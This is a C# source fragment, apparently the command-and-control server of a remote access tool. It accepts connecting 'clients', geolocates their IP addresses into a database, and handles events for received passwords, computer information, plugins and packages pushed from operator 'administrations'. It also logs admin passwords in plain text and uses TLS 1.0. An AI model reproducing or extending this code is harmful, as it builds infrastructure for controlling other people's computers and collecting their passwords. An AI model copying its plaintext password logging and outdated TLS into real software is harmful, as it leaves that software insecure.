private void AdministrationOnDisconnected(object sender, EventArgs e) { lock (_administrationListLock) Administrations.Remove(((Administration)sender).Id); AdministrationsChanged?.Invoke(this, EventArgs.Empty); }
private void Connect(TcpClient tcpClient) { Logger.Debug("Initiate SSL connection"); var sslStream = new SslStream(tcpClient.GetStream()); sslStream.AuthenticateAsServer(_certificate, false, SslProtocols.Tls, true); Logger.Debug("SSL connection initiated"); #if !DEBUG var timeout = int.Parse(GlobalConfig.Current.IniFile.GetSection("SERVER").GetKey("ConnectionTimeout").Value); tcpClient.ReceiveTimeout = timeout; tcpClient.SendTimeout = timeout; Logger.Debug("Set send/receive timeout to {0}", timeout); #endif var binaryReader = new BinaryReader(sslStream); var binaryWriter = new BinaryWriter(sslStream); try { switch ((AuthentificationIntention)binaryReader.ReadByte()) { case AuthentificationIntention.ClientRegister: Logger.Info("Intention: Client ({0})", ((IPEndPoint)tcpClient.Client.RemoteEndPoint).Address); Logger.Debug("Expect client version..."); var version = binaryReader.ReadInt32(); Logger.Debug("Client version: {0}", version); var clientAcceptor = _clientAcceptors.FirstOrDefault(x => x.ApiVersion == version); if (clientAcceptor == null) { Logger.Error("Unsupported Client connected (API version: {0})", version); binaryWriter.Write((byte)PrimitiveProtocol.OutdatedVersion); break; } Logger.Debug("Client acceptor found, response with OK"); binaryWriter.Write((byte)PrimitiveProtocol.ResponseEverythingIsAwesome); ClientData clientData; CoreClientInformation computerInformation; bool isNewClient; if (!clientAcceptor.LogIn(sslStream, binaryReader, binaryWriter, out clientData, out computerInformation, out isNewClient)) { break; } if (Clients.ContainsKey(clientData.Id)) { Logger.Error("Client from this computer is already connected (CI-{0})", clientData.Id); break; } LocationInfo locationInfo = null; if (_ip2LocationService.IsStarted) { var ipAddress = ((IPEndPoint)tcpClient.Client.RemoteEndPoint).Address.ToString(); Logger.Debug("Ip2Location activated, locating {0}", ipAddress); locationInfo = _ip2LocationService.GetLocationInfo(ipAddress); if (locationInfo == null) { Logger.Debug("LocationInfo is null"); } else { Logger.Debug( "Locating successful. (Country: {0}, Region: {1}, City: {2}, Zip code: {3}, Lat: {4}, Lon: {5}, Timezone: {6})", locationInfo.CountryName, locationInfo.Region, locationInfo.City, locationInfo.ZipCode, locationInfo.Latitude, locationInfo.Longitude, locationInfo.Timezone); } if (locationInfo != null) { DatabaseManager.SetClientLocation(clientData.Id, locationInfo, ipAddress); } } Logger.Info("Welcome {0} on this server (CI-{1}){2}", computerInformation.UserName, clientData.Id, locationInfo != null ? $" (located in {locationInfo.Country}/{locationInfo.Region})" : ""); var client = new Client(clientData, computerInformation, tcpClient, binaryReader, binaryWriter, sslStream, this, locationInfo); client.Disconnected += ClientOnDisconnected; client.SendToAdministration += ClientSendToAdministration; client.ReceivedStaticCommandResult += ClientOnReceivedStaticCommandResult; client.ExceptionsReveived += ClientOnExceptionsReveived; client.PasswordsReceived += ClientOnPasswordsReceived; client.ComputerInformationReceived += ClientOnComputerInformationReceived; client.PluginLoaded += ClientOnPluginLoaded; client.BeginListen(); ClientConnected(client, isNewClient); if (isNewClient) { DatabaseManager.NewClientConnected(); } DatabaseManager.ClientConnected(client.Id); return; case AuthentificationIntention.Administration: Logger.Info("Intention: New Administration"); Logger.Debug("Expect administration API version..."); var administrationApiVersion = binaryReader.ReadInt32(); Logger.Debug("Administration API version: {0}", administrationApiVersion); if (administrationApiVersion != ApiVersion) { binaryWriter.Write((byte)AuthentificationFeedback.InvalidApiVersion); binaryWriter.Write(ApiVersion); Logger.Error("Invalid API version (version: {0})", administrationApiVersion); return; } IConnection connection = null; if (((IPEndPoint)tcpClient.Client.RemoteEndPoint).Address.Equals(IPAddress.Loopback) && bool.Parse(GlobalConfig.Current.IniFile.GetKeyValue("SERVER", "EnabledNamedPipe"))) { Logger.Debug( "IP address is the Loop back address and named pipes are enabled; offer a named pipe"); binaryWriter.Write((byte)AuthentificationFeedback.ApiVersionOkayWantANamedPipe); Logger.Debug("Wait for answer..."); if (binaryReader.ReadBoolean()) { Logger.Info("Begin connecting using named pipes"); NamedPipeServerStream namedPipeServerStream; string pipeName; Logger.Debug("Find a free named pipe address and start server"); while (true) { try { pipeName = Guid.NewGuid().ToString("N"); namedPipeServerStream = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous); break; } catch (IOException) { //if the name is already taken } } Logger.Debug("Address is {0}, send name to administration", pipeName); binaryWriter.Write(pipeName); Logger.Debug("Wait for a connection..."); var result = namedPipeServerStream.BeginWaitForConnection(null, null); var success = result.AsyncWaitHandle.WaitOne( TimeSpan.FromMilliseconds( int.Parse(GlobalConfig.Current.IniFile.GetKeyValue("SERVER", "NamedPipeConnectionTimeout")))); if (!success) { namedPipeServerStream.Dispose(); Logger.Warn("Administration did not connect to the created named pipe server"); break; } Logger.Debug("Administration connected successfully to the named pipe server"); namedPipeServerStream.EndWaitForConnection(result); Logger.Debug("Dispose TCP streams"); //connected using (binaryReader) using (binaryWriter) using (sslStream) tcpClient.Close(); connection = new NamedPipeConnection(namedPipeServerStream); } } else { Logger.Debug("Send password request..."); binaryWriter.Write((byte)AuthentificationFeedback.ApiVersionOkayGetPassword); } if (connection == null) { connection = new TcpConnection(tcpClient, sslStream, binaryReader, binaryWriter); } Logger.Debug("Wait for the password..."); var password = connection.BinaryReader.ReadString(); if (password != Password) { Logger.Debug("Sent password ({0}) does not equal the current password ({1})", password, Password); connection.BinaryWriter.Write((byte)AuthentificationFeedback.InvalidPassword); Logger.Error("Invalid password"); break; } Logger.Debug("The password is correct ({0})", password); lock (_administrationIdLock) { ushort administrationId; if (!GetFreeAdministrationId(out administrationId)) { Logger.Debug("Response with ServerIsFull"); connection.BinaryWriter.Write((byte)AuthentificationFeedback.ServerIsFull); Logger.Info("Rejected administration because there aren't any free ids"); break; } Logger.Debug("Response with Accepted"); connection.BinaryWriter.Write((byte)AuthentificationFeedback.Accepted); Logger.Info("Administration accepted. Welcome (AI-{0})", administrationId); Logger.Debug("Prepare welcome package..."); var ipAddresses = Listeners.Select(x => new IpAddressInfo { Ip = x.IpAddress.ToString(), Port = x.Port }) .ToList(); IPAddress localIp; try { localIp = NetworkHelper.GetLocalIpAddress(); } catch (Exception) { localIp = null; } var interNetworkPort = (ipAddresses.FirstOrDefault(x => x.Ip == localIp?.ToString()) ?? ipAddresses.FirstOrDefault(x => !x.Ip.Equals("127.0.0.1")) ?? ipAddresses.First()).Port; if (!string.IsNullOrEmpty(DnsHostName)) { ipAddresses.Add(new IpAddressInfo { Ip = DnsHostName, Port = interNetworkPort }); } _welcomePackageSerializer.Value.Serialize(connection.BaseStream, new WelcomePackage { ExceptionCount = (int)DatabaseManager.Exceptions, IpAddresses = ipAddresses }); Logger.Debug("Welcome package sent, administration accepted"); var administration = new Administration(administrationId, connection, this); administration.Disconnected += AdministrationOnDisconnected; administration.SendPackageToClient += AdministrationOnSendPackageToClient; administration.RemoveClients += AdministrationOnRemoveClients; lock (_administrationListLock) Administrations.Add(administrationId, administration); } AdministrationsChanged?.Invoke(this, EventArgs.Empty); return; } } catch (Exception ex) { Logger.Error(ex, "Exception occurred when connecting with a client"); } Logger.Debug("Dispose TCP streams"); using (binaryReader) using (binaryWriter) using (sslStream) tcpClient.Close(); }